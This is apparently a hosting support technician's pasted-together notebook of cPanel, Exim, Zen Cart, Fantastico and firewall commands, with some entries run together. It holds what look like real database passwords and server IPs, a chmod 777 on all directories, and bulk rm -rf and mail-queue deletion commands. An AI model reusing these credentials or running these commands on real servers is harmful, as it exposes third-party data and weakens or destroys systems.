It is considered common courtesy to leave “Powered by Zen Cart" intact as it assists in advertising the Zen Cart project that is allowing you to create your new store and hopefully make money from it.
If you want your shop listed in the Zen Showcase, you must leave "Powered by Zen Cart" in the footer for Identification.

http://tutorials.zen-cart.com/index.php?article=131find -xtype d | xarge chmod 755
for directory

find -xtype f | xarg chmod 755
for files


find -xtype d | xarge chmod 777
set 777 to all directories


find . -type f -exec chmod 644 {} \;

find . -type d -exec chmod 755 {} \;

vi /etc/ssh/sshd_configphp -i | grep Hi,

I am not currently able to log into this server, the connection times out.

ssh -l 3gteam 66.7.202.240 -p1097
ssh: connect to host 66.7.202.240 port 1097: Connection timed out

However, I suspect that as with many popular PHP scripts, Click Be does not work with PHP 5.3.x.

If the server has PHP4 installed as well as PHP5, try switching the site to use PHP4 and see if that helps.

If not, you may need to switch back to PHP 5.2.14 or discontinue use of ClickBe. Netenberg hasn't updated ClickBe for PHP 5.3 yet.

If other sites using ClickBe on this server are working, then please check the access details you provided and we can take a closer look.

Regards,
CNAME and Mx Record lookup

http://www.google.com/support/a/bin/answer.py?hl=en&answer=116393

dictionary

http://www.cfilt.iitb.ac.in/~hdict/webinterface_user/dict_search_user.php


http://www.shabdkosh.com/

mysql --database=achievin_clss2 -B -N -e "SHOW TABLES" | awk '{print "ALTER TABLE", $1, "CONVERT TO CHARACTER SET utf8 COLLATE utf8_general_ci;"}' | mysql --database=achievin_clss2 &

use this command after changing db name in two places on server.
http://www.hscripts.com/tutorials/linux-commands/chkconfig.htmlCommon Exim issues and their fixes

For the error "failed to open scan directory /var/spool/exim/scan/scan .. Too many links "

If you see an error similar to the one above in exim log , check the files in the said dir , if it is
filled up with files that are not needed feel free to remove them or move it elsewhere if customer
need to verify it.

Ex, reference tick id SUW-71887-854

Error should be something similar as shown in logs below,

-bash-3.00# grep 1IOmvr-0005n7-Ry /var/log/exim_mainlog
2007-08-25 00:07:32 1IOmvr-0005n7-Ry failed to open scan directory /var/spool/exim/scan/scan/1IOmvr-0005n7-Ry: Too many links
2007-08-25 00:07:32 1IOmvr-0005n7-Ry malware acl condition: error while creating mbox spool file
2007-08-25 00:07:32 1IOmvr-0005n7-Ry H=py-out-1112.google.com [64.233.166.181] F=<pvpticks@gmail.com> temporarily rejected after DATA

-bash-3.00# ls -al /var/spool/exim/scan/ | wc -l
32001

Exiscan fails to remove the dirs in it, finally ending up creating too many file/dir it can't handle.

To fix,  /var/spool/exim/scan/ was moved to /root and exim was restarted.Error like :

Notice: Constant TRANSLATION2_ERROR already defined in /usr/local/lib/php/Translation2.php on line 55

Notice: Constant TRANSLATION2_ERROR_METHOD_NOT_SUPPORTED already defined in /usr/local/lib/php/Translation2.php on line 56



**************************************************************************

Issue: Errors with Translation2.php
You have the following errors on your site:
Notice: Constant TRANSLATION2_ERROR already defined in /usr/local/lib/php/Translation2.php on line 55
Notice: Constant TRANSLATION2_ERROR_METHOD_NOT_SUPPORTED already defined in /usr/local/lib/php/Translation2.php on line 56
Notice: Constant TRANSLATION2_ERROR_CANNOT_CONNECT already defined in /usr/local/lib/php/Translation2.php on line 57
Notice: Constant TRANSLATION2_ERROR_CANNOT_FIND_FILE already defined in /usr/local/lib/php/Translation2.php on line 58
Notice: Constant TRANSLATION2_ERROR_DOMAIN_NOT_SET already defined in /usr/local/lib/php/Translation2.php on line 59
Notice: Constant TRANSLATION2_ERROR_INVALID_PATH already defined in /usr/local/lib/php/Translation2.php on line 60
Notice: Constant TRANSLATION2_ERROR_CANNOT_CREATE_DIR already defined in /usr/local/lib/php/Translation2.php on line 61
Notice: Constant TRANSLATION2_ERROR_CANNOT_WRITE_FILE already defined in /usr/local/lib/php/Translation2.php on line 62
Notice: Constant TRANSLATION2_ERROR_UNKNOWN_LANG already defined in /usr/local/lib/php/Translation2.php on line 63
Notice: Constant TRANSLATION2_ERROR_ENCODING_CONVERSION already defined in /usr/local/lib/php/Translation2.php on line 64
Notice: Constant TRANSLATION2_ERROR_UNSUPPORTED already defined in /usr/local/lib/php/Translation2.php on line 65
Fatal error: Cannot redeclare class Translation2 in /usr/local/lib/php/Translation2.php on line 82



** Solution: Please find the instructions to fix this issue below:


1.	open the /system/ext/Translation2/Translation2.php file
2.	add the line: if (false){ right after: <?php
3.	add the line: } right before: ?> at the end of the file.


Please let us know if it did not help you, and send us your FTP access in order we can help you.coppermine gallary issues and documentation 

http://documentation.coppermine-gallery.net/en/upload_troubleshooting.htm

want to change "Copyright © 2003 Zen Cart. Powered by Zen Cart"

How to change "Powered by Zen Cart"

If you want to change the text at the bottom of the page "Copyright © 2003 Zen Cart. Powered by Zen Cart" you should edit the following file: 

\includes\languages --> english.php 

Here you can see a text you should modify. 

define('FOOTER_TEXT_BODY', 'Copyright &copy; 2003 <a href="http://www.zen-cart.com" target="_blank">Zen Cart</a>. Powered by <a href="http://www.zen-cart.com" target="_blank">Zen Cart</a>');


Also: 
If you want to change a title bar text, you should edit the following file: 

\includes\languages\english --> meta_tags.php 

Here you can see 2 variables for this text. 

// page title 
define('TITLE', 'Zen Cart!'); 

// Site Tagline 
define('SITE_TAGLINE', 'The Art of E-commerce');


URL : http://info.template-help.com/after_sale_support/Working_with_ZenCart_templates/article3.html
cPanel not showing quotas correctly

So far this has only been reported on CPanel servers, but it may apply to other panels as well. There have been some reported cases of user quotas not being calculated correctly.

The fix from sw-soft was to reinstall quota RPM from the template.

From the hardware node, run:

If RH9:

for veid in `VEIDHERE`; do rpm -ivh --nodeps  --root=/vz/root/$veid /vz/template/redhat-9/quota-3.06-9.3.swsoft.i386.vz.rpm --force; vzctl exec $veid "ln -sf /bin/true  /sbin/quotaon && ln -sf /bin/true  /sbin/quotaoff"; done

If FC2:

for veid in `VEIDHERE`; do rpm -ivh --nodeps  --root=/vz/root/$veid /vz/template/fedora-core-2/quota-3.10-2.2.swsoft.i386.vz.rpm --force; vzctl exec $veid "ln -sf /bin/true  /sbin/quotaon && ln -sf /bin/true  /sbin/quotaoff"; done

NOTE: `something in backticks` indicates your running some command to get the list of veids - like /root/bin/allVe.sh. If you not running a command, replace `VEIDHERE` with a list of VEIDs.

The following also will help:

(Replace VE_ID with the veid)

veid=VE_ID; vzctl stop $veid; vzctl quotaoff $veid; vzctl quotainit $veid; vzctl start $veid; vzctl enter $veid

/scripts/fixeverything

(Contact Sergey for details  )

For situations where quotas agree in du and WHM but the user CPanel does not, it's most likely the CPanel data cache that has become corrupted.

Just remove the datacache file.

rm -rf /home/USERNAME/.cpanel-datastore
The next time the CPanel is refreshed, it will regenerate the information.rebuilding cPanel's internal PHP


 /scripts/makecpphp -force

/usr/local/cpanel/logs/cpbackupHow To Set Up Cron Jobs In Cpanel

http://calendarscripts.info/cron-jobs-tutorial.htmlcrontab -l -u username   ( where l = list crontab)

crontab -e -u username  ( where e = edit crontab )csf.conf some parameters value : 

CT_LIMIT = "150"
TESTING = "1"
TCP_IN = "........,5666,............."  

note : 5666 nagios port

http://www.configserver.com/free/csf/install.txt

STEPS :

1.Uninstallation
==============
Removing csf and lfd is even more simple:

On cPanel servers:

cd /etc/csf
sh uninstall.sh

2.Installation
============
Installation is quite straightforward:

rm -fv csf.tgz
wget http://www.configserver.com/free/csf.tgz
tar -xzf csf.tgz
cd csf
sh install.sh

3.csf.conf some parameters value : 

CT_LIMIT = "150"
TESTING = "1"
TCP_IN = "........,5666,............."  

note : 5666 nagios port

4. csf -r

http://www.tizag.com/perlT/perldbiconnect.php

connection of db using perl script

#!/usr/bin/perl

# PERL MODULES WE WILL BE USING
use DBI;
use DBD::mysql;

# HTTP HEADER
print "Content-type: text/html \n\n";

# CONFIG VARIABLES
$platform = "mysql";
$database = "store";
$host = "localhost";
$port = "3306";
$tablename = "inventory";
$user = "username";
$pw = "password";

#DATA SOURCE NAME
$dsn = "dbi:mysql:$database:localhost:3306";

# PERL DBI CONNECT (RENAMED HANDLE)
$dbstore = DBI->connect($dsn, $user, $pw) or die "Unable to connect: $DBI::errstr\n";

****************************************************************************************

Another Script :

http://sawaal.ibibo.com/computers-and-technology/how-we-connect-database-control-panel-ftp-server-480285.html

#!/usr/bin/perl
use DBI;

$database = "DBNAME";
$hostname = "db.YOURDOMAIN";
$port="3306";
$username="DBUSERNAME";
$password = "DBPASSWORD";

$dsn= "DBI:mysql:database=$database;host=$hostname;port=$port";

$dbh = DBI -> connect($dsn,$username,$password) or die ("Could not connect!");

$sql = "SELECT * FROM mytable";

$sth = $dbh->prepare($sql);
$sth-> execute;

while(($column1,$column2) = $sth->fetchrow_array)
{
print "C1=$column1, C2=$column2n";
}

$dbh->disconnect;<?php
$Host = "localhost"; //you can use IP address instead of localhost
$User = "everesti_user1";
$Password = "chri1234";
$Database = "everesti_RP";
$Link_ID=mysql_pconnect($Host, $User, $Password);
if(!$Link_ID)
{
echo"Failed";
return 0;
}
else
{
echo "Connection to the database - successful";
}

if(!@mysql_select_db($Database,$Link_ID))
{
echo "<br>cannot use Database=".$Database;
}
else
{
echo "<br>connected to Database=".$Database;
}

?>



$Host = "localhost"; //you can use IP address instead of localhost
$User = "freeftaf_protow";
$Password = "123456";
$Database = "freeftaf_freeftafiles";



  define('DB_SERVER', 'localhost');
  define('DB_SERVER_USERNAME', 'masjid_osc1');
  define('DB_SERVER_PASSWORD', 'iioY7bkNKHhU');
  define('DB_DATABASE', 'masjid_osc1');


"66.7.215.126:3306","soeconco_step54","step8354")
iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP


iptables -I INPUT -p tcp --dport 80 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 10 -j DROP


ddos attack :

netstat -apn

http://www.linuxsecurity.com/content/view/121960/49/


http://blog.readywire.com/2008/11/ddos-attack/

http://kmaiti.blogspot.com/2010/11/install-firewalls-on-linux.htmlroot@king [/var/cpanel/userdata/isulahos]# /scripts/restartsrv_ipaliasesFollowing command shows listing of files which does not match html and php type.

find . \( \! -name "*\.html" \! -name "*\.php" -type f \) -print

http://www.techtalkz.com/unix/78073-delete-files-except-certain-ones.htmldig mx software-bridge.com | grep MXDisabling paypal phishing sites via modsec2.conf :

below is the procedure :



[2:32:50 AM] vulgar: login to vision server
[2:33:36 AM] vulgar: logged in ?
[2:33:43 AM] adminhost: yes
[2:33:47 AM] vulgar: cat /etc/httpd/conf/modsec2.conf
[2:34:01 AM] vulgar: do you see the line SecRule REQUEST_URI "webscr.php"
[2:34:11 AM] adminhost: yes
[2:34:26 AM] vulgar: this will disable all paypal phishing sites on server
[2:34:41 AM] vulgar: now we have to add this line to every server in that file
[2:34:51 AM] adminhost: ok, will add it now
[2:34:53 AM] vulgar: just above the line
Include "/usr/local/apache/conf/modsec2.user.conf"
[2:34:57 AM] vulgar: and restart httpd
[2:35:01 AM] adminhost: ok
[2:35:06 AM] vulgar: be carefull in syntax
[2:35:11 AM] adminhost: ok
[2:35:14 AM] vulgar: and do it for all 4 projects
[2:35:18 AM] vulgar: all servers
[2:35:19 AM] adminhost: yes
[2:35:31 AM] vulgar: only not the main server on which we have main websitesDisable Magic_quotes_gpc In A .htaccess File

How do I disable magic quotes via .htaccess?

I put the following file in my webroot, but it does not disable
magic_quotes_gpc (according to phpinfo(), both the local and master value
are still "on")

<IfModule mod_php4.c>
php_value upload_max_filesize 8M
php_value magic_quotes_gpc 0
</IfModule>

The change to upload_max_filesize works (master is 2M, local value is 8M,
according to phpinfo())

**************************************************************************


The wrong statement is:
# php_value magic_quotes_gpc on


The correct syntax is:
php_flag magic_quotes_gpc on


to find and delete all files like .rar, .mp3, avi, mpeg      fire this command and after that files  gets stored in /home/delete of the server. 
 
find /home/*/public_html/ -iname '*.rar' -exec mv "{}" /home/delete \;

find /home/*/public_html/ -iname '*.mp3' -exec mv "{}" /home/delete \;

find /home/*/public_html/ -iname '*.mpeg' -exec mv "{}" /home/delete \;

find /home/*/public_html/ -iname '*.avi' -exec mv "{}" /home/delete \;


 
find /home -name "*" -size +100000k



find */public_html/* -name .pure*


find /home/*/public_html/ -iname '*.pure' -exec mv "{}" /home/delete \; 3ware /c0 showi get these 2 errors on top of the page:

Warning: Division by zero in /home/gmistake/public_html/catalog/includes/classes/shipping.php on line 61
Warning: Division by zero in /home/gmistake/public_html/catalog/includes/classes/shipping.php on line 62

i believe those 2 lines are:
 $shipping_num_boxes = ceil($shipping_weight/SHIPPING_MAX_WEIGHT);
                  $shipping_weight = $shipping_weight/$shipping_num_boxes;




Go to Admin -> Configuration -> Shipping/Packaging ->Enter the Maximum Package Weight you will ship

Make sure that is NOT Zero. http://www.hostdime.com/support/forms/copyright_claim_form.pdfDolphin installation error :


XsltProcessor is Off, you should install XsltProcessor 
Please go to the 
Dolphin Troubleshooter 
and solve the problem.


:  You need to install this PHP extension: XSL

See here for full list of requirements:

http://www.boonex.com/trac/dolphin/wiki/DolTech

****************



Dolphin Hosting Requirements

Default Dolphin installation works with most common configurations of hosting server, however, since Dolphin is a package with multiple scripts and apps, it is very important to ensure that all of the following requirements are met. Most of the technical problems occur due to improper server setup, so make sure that your hosting provider is Dolphin-compatible.

To help avoid trouble, we gathered a number of  Recommended Hosting Providers that have Dolphin-ready accounts and experience with managing accounts that have Dolphin installed. Some of them offer instant installation or even pre-installed Dolphin.

Providing that the server is properly configured, it is possible to run Dolphin on a shared hosting account. We do recommend, however, to have a VPS or a Dedicated Server for Dolphin.
==========
Server Requirements
==========

Linux/Unix (Red Hat, Debian, FreeBSD, Mandrake, etc.) or Windows OS
Apache Web Server ver. 1.3 or higher.
 PHP 5.2.0 or higher.
register_globals must be Off
safe_mode must be Off
exec() (executable files) must be allowed
allow_url_fopen should be On
allow_url_include should be Off
open_basedir should not have any value memory_limit should be 128M or higher
mbstring, gd and xslt extensions must be installed.
 MySQL 4.1.2 and higher.

The magic_quotes_gpc option must be disabled for Dolphin 7.x, but enabled for Dolphin 6.x.
If security module is installed (such as mod_security for Apache), it should be able to be configured for specific folders (or disabled).
Direct connection to boonex.com should be able to be established (i.e. connection without requiring proxy authorisation). This is required for license verification.
 GD library compiled with FreeType fonts (for photo processing) or  ImageMagick as an alternative.
Sendmail or Postfix programs for sending emails.

Ability to create  Cron Jobs.
You should be able to run executable files (you would need it for ffmpeg.exe, which converts videos).
Server Requirements for Media Streaming
Some of the Dolphin's features (such as Flash Chat, Flash IM, Boards, Video Recorder, Video Comments) require media streaming capabilities. To use those, you need to make sure that the following requirements are met:
VPS or Dedicated server is generally required in order to be able to install and run RMS (Ray Media Server). You would need an access to root or administrator account on the hosting server.
 JRE (Java Runtime Environment) ver. 1.6 or higher should be installed.
Ports 1935, 1936 and 5080 should be open on the server.
Allowance of at least 15 KB/sec for media streaming for each user.
It is a good idea to send the list above to your hosting provider to make sure the server is ready for installation. If all the above requirements are met you are all set to proceed to Dolphin Installation.
Recommended Hosting Providers
Over years we worked with many different hosting providers and some of them are very experienced when it comes to managing Dolphin sites. Going for one of our  Recommended Hosting Providers is a good idea for both starters and those willing to work with companies that have Dolphin-experience. Most of our hosting partners provide automatic Dolphin installation and special discounts for Dolphin users.
Recommended Server Setup
Since Dolphin is a resource-intensive platform, it is very important to "fine-tune" your server. In some cases (for popular sites) you may have to setup servers-cluster, and/or remove database server. Alternative "web-server" software, such as  nginx may also be beneficial to your site performance. Please refer to Hosting Server Setup Recommendations for the details on how you can tune-up your server. E-mail Configuration > Microsoft Outlook 2007	

http://www1.umn.edu/adcs/guides/email/winoutlook2007mam, is it possible to get a backup for any perticular email account ?
[1:54:11 PM] vulgar: yes from whm --restore backup -- select username-- select mail and restoreEmail Piping with Cpanel

http://www.activecampaign.com/support/tt/index.php?action=kb&article=331


http://www.daniweb.com/forums/thread55673.html

What is SSI : 

	
How to enable SSI (Server Side Include) support on an Apache web server

Server Side Include (or SSI) is a useful feature that enables you to do things like include files into your web pages. The most common use for this feature is to allow you to design a navigation bar, put it in a separate file and then include that in all of your web pages. When you need to change the navigation bar you change just the include file, not every web page on your server. The change in the include file simply propogates through all the pages that include it.

============================================================================

http://broadbandforum.in/web-services/53-enable-ssi-apache-using-htaccess-file/

============================================================================


To enable the SSI ( Server Side Includes ) you have to put the following code inside .htaccess file.

AddType text/html .shtml .html .htm 
AddHandler server-parsed .shtml .html .htm 
Options Indexes FollowSymLinks Includes


============================================================================

Read more: http://broadbandforum.in/web-services/53-enable-ssi-apache-using-htaccess-file/#ixzz0ULxf0WPm

http://forums.solidhost.com/showthread.php?t=440


http://www.webhostingtalk.com/showthread.php?t=623960


http://www.techcuriosity.com/resources/exim/exim.php


http://forums.spry.com/cpanel-whm/1373-helpful-exim-commands.html

Files in /var/spool/exim/msglog contain logging information for each message and are named the same as the message-id.


Files in /var/spool/exim/input are named after the message-id, plus a suffix denoting whether it is the envelope header (-H) or message data (-D).

These directories may contain further hashed subdirectories to deal with larger mail queues, so don't expect everything to always appear directly on the top /var/spool/exim/input or /var/spool/exim/msglog directories; any searches or greps will need to be recursive. See if there is a proper way to do what you're doing before working directly on the spool files.


Queues information 

1) Print a count of the messages in the queue: 
Quote:
root@localhost# exim -bpc 

2) Print a listing of the messages in the queue (time queued, size, message-id, sender, recipient): 
Quote:
root@localhost# exim -bp

3) Print a summary of messages in the queue (count, volume, oldest, newest, domain, and totals): 
Quote:
root@localhost# exim -bp | exiqsumm                                  ----------------------------------------------------->

4) Generate and display Exim stats from a logfile: 
Quote:
root@localhost# eximstats /path/to/exim_mainlog

5) Generate and display Exim stats from a logfile, with less verbose output: 
Quote:
root@localhost# eximstats -ne -nr -nt /path/to/exim_mainlog

6) Generate and display Exim stats from a logfile, for one particular day: 
Quote:
root@localhost# fgrep 2007-02-16 /path/to/exim_mainlog | eximstats

7) Print what Exim is doing right now: 
Quote:
root@localhost# exiwhat

8) To delete frozen emails 
Quote:
exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim -Mrm

9) To deliver emails forcefully
Quote:
exim -qff -v -C /etc/exim.conf & --------------------------  provides the error logs also 

**********************************************************************************************************


It may be useful to someone, sometimes the queded mail list gets gigantic because of some spammer and other emails that aren't spam could get deleted when using cPanel to control it.

The better solution would obviously be to prevent spammers of sending all those mails, if you know a better solution on cPanel 11 please share it with me.

==== REMOVE MAILS BY ID ====

/usr/sbin/exim -v -Mrm (MAIL ID HERE)

==== LIST QUEDED MAILS ====

/usr/sbin/exim -bp

==== OUTPUT NUMBER OF QUEDED MAILS ====

/usr/sbin/exim -bpc

==== DELETE FROZEN MAILS ====

/usr/sbin/exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim -Mrm

==== DELIVER FORCEFULLY EMAILS ====

/usr/sbin/exim -qff -v -C /etc/exim.conf &

==== FREEZE MAILS FROM SENDER ====

/usr/sbin/exiqgrep -i -f (MAIL ADDRESS HERE) | xargs exim -Mf

==== REMOVE MAILS FROM SENDER ====

/usr/sbin/exiqgrep -i -f (MAIL ADDRESS HERE) | xargs exim -Mrm

****************************************************************************************************


>> Count the number of messages in the queue.
root@localhost# exim -bpc
>> Listing the messages in the queue (time queued, size, message-id, sender, recipient).
root@localhost# exim -bp

>> Print a summary of messages in the queue (count, volume, oldest, newest, domain, and totals).
root@localhost# exim -bp | exiqsumm

>> Check what Exim is doing right now.
root@localhost# exiwhat

>> Test how exim will route a given address.
root@localhost# exim -bt user@localdomain.com

>> Display Exim's configuration settings.
root@localhost# exim -bP

>> Search the queue for messages from a specific sender.
root@localhost# exiqgrep -f [luser]@domain

>> Search the queue for messages for a specific recipient/domain.
root@localhost# exiqgrep -r [luser]@domain

>> Print messages older than the specified number of seconds. Eg: messages older than 1 hour.
root@localhost# exiqgrep -o 3600 [...]

>> Print messages younger than the specified number of seconds. Eg: messages less than an hour old.
root@localhost# exiqgrep -y 3600 [...]

>> Match the size of a message with a regex. Eg: Messages between 500-599 bytes.
root@localhost# exiqgrep -s '^5..$' [...]

>> Match only frozen messages.
root@localhost# exiqgrep -z

>> Match only frozen messages.
root@localhost# exiqgrep -x

>> Print just the message-id of the entire queue.
root@localhost# exiqgrep -i

>> Start a queue run.
root@localhost# exim -q -v

>> Start a queue run for just local deliveries.
root@localhost# exim -ql -v

>> Remove a message from the queue.
root@localhost# exim -Mrm <message-id> [ <message-id> ... ]

>> Freeze a message.
root@localhost# exim -Mf <message-id> [ <message-id> ... ]

>> Thaw a message.
root@localhost# exim -Mt <message-id> [ <message-id> ... ]

>> Deliver a message, whether it's frozen or not, whether the retry time has been reached or not.
root@localhost# exim -M <message-id> [ <message-id> ... ]

>> Deliver a message, but only if the retry time has been reached.
root@localhost# exim -Mc <message-id> [ <message-id> ... ]

>> Force a message to fail and bounce as "cancelled by administrator".
root@localhost# exim -Mg <message-id> [ <message-id> ... ]

>> Remove all frozen messages.
root@localhost# exiqgrep -z -i | xargs exim -Mrm

>> Remove all messages older than five days (86400 * 2 = 172800 seconds).
root@localhost# exiqgrep -o 172800 -i | xargs exim -Mrm

>> Freeze all queued mail from a given sender.
root@localhost# exiqgrep -i -f user@example.com | xargs exim -Mf

>> View a message's headers.
root@localhost# exim -Mvh <message-id>

>> View a message's body.
root@localhost# exim -Mvb <message-id>

>> View a message's logs.
root@localhost# exim -Mvl <message-id>

>> Add a recipient to a message.
root@localhost# exim -Mar <message-id> <address> [ <address> ... ]

>> Edit the sender of a message.
root@localhost# exim -Mes <message-id> <address>

**********************************************************************************************************************

This is a list of some of the commands I commonly use when troubleshooting exim:


exim -bp|grep $name	Will show the mail in queue for $name
exim -Mvh $MSGID	View message header
exim -Mvb $MSGID	View message body
exim -M $MSGID	 Force delivery of message
exim -v -M $MSGID	View the transact of message

Force delivery of one message
exim -M email-id

Force another queue run
exim -qf

Force another queue run and attempt to flush the frozen message
exim -qff

View the log for the message
exim -Mvl messageID

View the body of the message
exim -Mvb messageID

View the header of the message
exim -Mvh messageID

Remove message without sending any error message
exim -Mrm messageID

Giveup and fail message to bounce the message to the Sender
exim -Mg messageID

How much mail in the queue?
exim -bpr | grep "<" | wc -l


How many Frozen mails in the queue
exim -bpr | grep frozen | wc -l


Deleteing Frozen Messages
exim -bpr | grep frozen | awk {'print $3'} | xargs exim -Mrm   --------------->           this can be execute only.


To find out, how many messages are there in the mail queue:
exim -bpc

To check the mails in the queue:
exim -bp 

To force exim update:
/scripts/eximup --force

*******************************************************************************************************************

to find spammer

go to 
/var/spool/exim/input/

root@supra [/var/spool/exim/input]# egrep "X-PHP-Script" * -R


egrep "X-PHP-Script" * -R

Fantastico installation :

Here are the steps to download Fantastico & install it onto your server :

Connect to your server using an SSH client.

Login as the root user.

Change to the proper cgi folder using the following command:

cd /usr/local/cpanel/whostmgr/docroot/cgi

Download the Fantastico install file using the following command:

wget http://www.netenberg.com/files/free/..._whm_admin.tgz

Extract the install file using the following command:

tar -xzpf fantastico_whm_admin.tgz

Remove the install file using the following command:

rm -rf fantastico_whm_admin.tgz

Re-Login to WHM in a web browser inorder for the above done changes to come into effect.

From the menu, under Plugins, click Fantastico De Luxe WHM Admin (usually located at the bottom of the Main Menu).

Refer this link if you get any errors while the installation process : Fantastico

http://www.eukhost.com/forums/f15/how-install-fantastico-linux-server-vps-4452/

***************

OR :

http://discussion.accuwebhosting.com/cpanel-whm-control-panel/396-how-install-fantastico-via-ssh-whm.html

 How to Install Fantastico via SSH and WHM


Hello All,

Below mentioned are the steps to install Fantastico on Linux server via SSH access and WHM:

1) Login via SSH to your server and enter following commands:

cd /usr/local/cpanel/whostmgr/docroot/cgi
wget http://www.netenberg.com/files/free/..._whm_admin.tgz
tar -xzpf fantastico_whm_admin.tgz
rm -rf fantastico_whm_admin.tgz

2) Now go to WHM, login as root and follow the link WHM -> Add-Ons
-> Fantastico De Luxe WHM Admin. One need to complete the installation by following the online screens. 

Note: If you will receive a license error and you are sure that your package includes Fantastico, then contact your data center technical support and have them license the server IP.

=======================================


You can use foloowing steps : 

http://www.linuxsurgeon.org/kb/howto-install-fantastico.html

Hi,

Today i am installing fantastico on my linux server but i am getting some problem.I have installed properly but i am not able to see Fantastico in Cpanel so i searched on google and found a solution after a long time so i thought for people who are suffering from same problem so i put this article on my site for the Linux guys ……………..

# SSH to your server and enter following commands:

————————————————————————————————————————————-

cd /usr/local/cpanel/whostmgr/docroot/cgi

wget -N http://files.betaservant.com/files/free/fantastico_whm_admin.tgz

tar -xzpf fantastico_whm_admin.tgz

rm -rf fantastico_whm_admin.tgz

————————————————————————————————————————————-

NOTE: if you have problems contacting this server, please try this alternate location:


wget -N http://netenberg.com/files/free/fantastico_whm_admin.tgz

————————————————————————————————————————————-

Go to WHM, login as root and click on Tweak Settings, then you should ensure that both the Ioncube loader is selected for the backend copy of PHP. Save changes.

Now go here:
WHM -> Add-Ons (Plugins on v11.x or higher) -> Fantastico De Luxe WHM Admin (scroll down the left menu).

Upon loading, Fantastico De Luxe WHM Admin will auto-update your existing installation (if existing). All admin files (masterfiles, tarballs, settings etc) will be moved to or created at /var/netenberg.

————————————————————————————————————————————-

After the installation is complete, click on “Settings” and go through the settings. While some settings are not important, some other (marked below with an *) are essential for a proper functioning of Fantastico installations.
Language: Select the language for the admin backend AND default language for users without a language selected.
Email notifications: Enter an email address in order to receive notifications when users perform installations using Fantastico.
Master files settings (*): If you are not an advanced user who modifies the master files, leave this to “Remove”. Change this only if you know what you are doing.
PHPsuexec (*): VERY ESSENTIAL!!! Changing this value will not install or de-install phpsuexec for you. It will only tell Fantastico that you have phpsuexec installed or not installed on your server. Change to “installed” if you perform installations which produce an “Internal Server Error”. Notice: Changes will not apply to existing installations! You have to re-install in order to have working installations.
Path to netPBM: Enter the full path to the netPBM binaries in order to enable Gallery installations. As long as this field has no value, your users will not be able to install Gallery.
Select Fantastico licensing and files server: If the Fantastico pages take long to load switch to the server that works best for you. Fantastico will auto-switch if connections time out.
Update preference: Select latest version (sometimes experimental) or stable version (best working).

————————————————————————————————————————————-

Now you have installed Fantastico perfectly.Go to Cpanel and check it r u able to see Fantastico under Cpanel or not ? If you are not able to see then Follow the steps.

————————————————————————————————————————————-

If it is wget-1.10.2-3.3.fc5 or wget-1.10.2-8.fc6.1, or any version that yum installs on those OSes (they will typically end with .fc5 or .fc6 or .el5) we suggest that you replace it immediately with an older and/or stabler version. This version does not honor the “-P” switch.

An alternate version that we know works is wget-1.10.2-3.2.1 (though more recent versions should also work).

You can use the following commands for this purpose.

For 32-bit:

————————————————————————————————————————————–

rpm -qa wget ;

wget ftp://ftp.funet.fi/pub/mirrors/ftp.redhat.com/pub/fedora/linux/core/5/i386/os/Fedora/RPMS/wget-1.10.2-3.2.1.i386.rpm

chattr -ia /usr/bin/wget

rpm -e wget ;

rpm -ivh –force wget-1.10.2-3.2.1.i386.rpm ;

rpm -qa wget ;
————————————————————————————————————————————–
For 64-bit:

————————————————————————————————————————————–

rpm -qa wget ;

wget http://download.fedora.redhat.com/pub/fedora/linux/releases/7/Everything/x86_64/os/Fedora/wget-1.10.2-15.fc7.x86_64.rpm ;

chattr -ia /usr/bin/wget

rpm -e wget ;

rpm -ivh –force wget-1.10.2-15.fc7.x86_64.rpm ;

rpm -qa wget ;
————————————————————————————————————————————–

Now reinstall your Fantastico and check it ………………..Its Done !!!

————————————————————————————————————————————–

Uninstall Fantastico

————————————————————————————————————————————–
UNINSTALL FANTASTICO

rm -rf /var/netenberg/fantastico_de_luxe/
rm -rf /usr/local/cpanel/whostmgr/docroot/cgi/fantastico/
rm -rf /usr/local/cpanel/3rdparty/fantastico*
rm -rf /usr/local/cpanel/base/frontend/*/fantastico
rm -f /usr/local/cpanel/base/frontend/x/cells/fantastico.html
rm -f /usr/local/cpanel/whostmgr/docroot/cgi/addon_fantastico.cgi

————————————————————————————————————————————–Word press error :


Fatal error: Allowed memory size of 33554432 bytes exhausted

Open wp-settings.php

and set  memory limit

define('WP_MEMORY_LIMIT', '64M');
Also Check all these URL's

http://support.uk-vps.com/index.php?_m=knowledgebase&_a=viewarticle&kbarticleid=10


http://www.mycutelife.net/sanju/help1/mailissue


http://helpdesk.hostmonster.com/index.php/kb/article/372

Error from Squirremail :

1)grep -rl ahoo.co.in /var/spool/exim/input/ | xargs rm

this will delete the mails from ythe queue which consist of ahoo.co.in

********************************************************************************************************

2) exim -bp |exiqsumm
exim -bp | exiqsumm | awk '{if ($1 >100)print  $0 }'  | sort -n
this will show the no of mails for each domain
to find who is sending mails
ps -C exim -fH eww

********************************************************************************************************
3) error in webmail
-----------------------------
Email delivery error Server replied:
1 Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -ftest@domainname.com'.
-----------------------------


Email delivery error Server replied: 255 Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -ftest@philadelphiamaven.com'.
-----------------------------

Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -f in squirrelmail

Solution
Quite a hard one to track down this one :-

First SSH into your server and run :-

/scripts/fixeverything
/scripts/upcp --force
/scripts/eximup --force

if that does not fix the issue run the following commands:-

cd /usr/sbin
mv sendmail sendmail.157979
ln -s /usr/sbin/exim /usr/sbin/sendmail
mv /etc/eximmailtrap /etc/eximmailtrap.157979

All sorted, it should be.


one more fix is given below.

root@abc [~]# cd /usr/sbin
root@abc [/usr/sbin]# mv sendmail sendmail.157979
root@abc [/usr/sbin]# ln -s /usr/sbin/exim /usr/sbin/sendmail
root@abc [/usr/sbin]# mv /etc/eximmailtrap /etc/eximmailtrap.157979

Exim e-mail filtering doesn't work for maildir

Currently cpanel e-mail filtering only supports mbox format.

Here is a workaround for maildir

###############################
vi /etc/exim.conf
Under DIRECTORS CONFIGURATION (there are two section file_transport under  DIRECTORS CONFIGURATION. Just add the below line with the first file_transport = address_file section.)

Under file_transport = address_file
add the line directory_transport = address_directory
example----->>
--------------------------------------
central_filter:
#!!# filter renamed allow_filter
  driver = redirect
  allow_filter
